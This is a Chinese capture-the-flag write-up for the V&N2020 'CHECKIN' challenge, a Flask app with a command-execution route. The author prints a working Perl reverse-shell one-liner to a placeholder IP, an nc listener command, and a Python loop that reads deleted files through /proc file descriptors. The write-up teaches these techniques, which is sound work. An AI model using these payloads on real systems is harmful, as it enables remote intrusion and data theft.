码迷,mamicode.com
首页 > 其他好文 > 详细

[V&N2020 公开赛]CHECKIN

时间:2020-03-17 23:56:03      阅读:144      评论:0      收藏:0      [点我收藏+]

标签:use   接收   打开   文件   节点   tde   ==   load   读取   

[V&N2020 公开赛]CHECKIN --s1mple

那天,我见过的最强剑客,提起了天下最强的宝剑······却早已没了剑心。

知识点 反弹shell;;文件描述符;;

这里先引入一个知识点;文件描述符,在linux里,当一个进程打开某个文件直到关闭前,该进程会获得文件描述符,而文件描述符里有文件的内容,即便已经将文件删除,只是删除了其相应的目录索引节点,若进程依然存在没被关闭的话,就依然可以通过文件提供给它的文件描述符进行操作。/proc/[pid]/fd 这个目录里包含了进程打开文件的情况;;pid就是进程记录的打开文件的序号;;

一道V&N的题目,这道签到题目,其实并不是签到题目。我们打开页面看到源码,是基于flask框架

from flask import Flask, request
import os
app = Flask(name)
flag_file = open("flag.txt", "r") //这里的代码很重要,进程里面执行了打开的命令;--s1mple
# flag = flag_file.read()
# flag_file.close()
#
# @app.route(‘/flag‘)
# def flag():
# return flag
## want flag? naive!
# You will never find the thing you want:) I think
@app.route(‘/shell‘)
def shell():
os.system("rm -f flag.txt") //删除了flag.txt --s1mple
exec_cmd = request.args.get(‘c‘)
os.system(exec_cmd) //命令执行 --s1mple
return "1"
@app.route(‘/‘)
def source():
return open("app.py","r").read()
if name == "main":
app.run(host=‘0.0.0.0‘)

发现有几个路由;简单审计代码,发现当进到/shell的时候,会将flag.txt进行删除,然后再是我们的命令执行;我们可以使用GET传参c进行代码执行,但是下面的返回Return永远是1;这里发现我们没有办法执行代码得到我们想要的回显,就想到了反弹一个shell;这里我提供几种反弹shell的方法;

一般有如下几种;;

bash perl python php nc 一般是这五种反弹的方式,当然还有其他的,要视情况而定,看看服务器存在什么环境,看看是否有什么过滤,然后对应采取相应的措施;这里经过测试,发现赵师傅(glzjin)过滤了 bash nc 所以我们这里采用其他的方式进行反弹shell;

我这里用perl反弹成功;;贴上反弹的payload;;

perl -e ‘use Socket;$i="YOURIP";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};‘ &

注意要写入对应的ip和端口,进行接收相互式的shell;这也是我们这里使用 -i 的原因;;

登陆本地的服务器 root 123456 进行相应的端口监听 nc -lvp 9999 开启监听;

在服务器执行上面的payload 进行shell的反弹,接收效果如下;;

技术图片

我们进行查看,发下我们所处的目录之下有一个py和txt文件,这里就需要读取相应的进程文件打开的记录目录了;一般情况下,我们可以使用lsof来查看我们打开过的文件;因为我们没有权限,只是app权限,所以我们只能另想别的办法;又想到因为服务器存在py环境,所以我们直接执行py脚本进行查询 python3 -c "import os;[os.system(‘cat /proc/‘+str(i)+‘/fd/3‘) for i in range(20)];" 进而得到flag;;

这里的py单行命令简单的将就是实现/proc/[pid]/fd 的类似遍历;读取前二十条数据,-c 也就是执行单行命令;类似于bash -c 一样;;这里直接搜索读取到flag;

技术图片

不是在代码的最后哦,,向上看几行。。。。

[V&N2020 公开赛]CHECKIN

标签:use   接收   打开   文件   节点   tde   ==   load   读取   

原文地址:https://www.cnblogs.com/Wanghaoran-s1mple/p/12514481.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有 京ICP备13008772号-2
迷上了代码!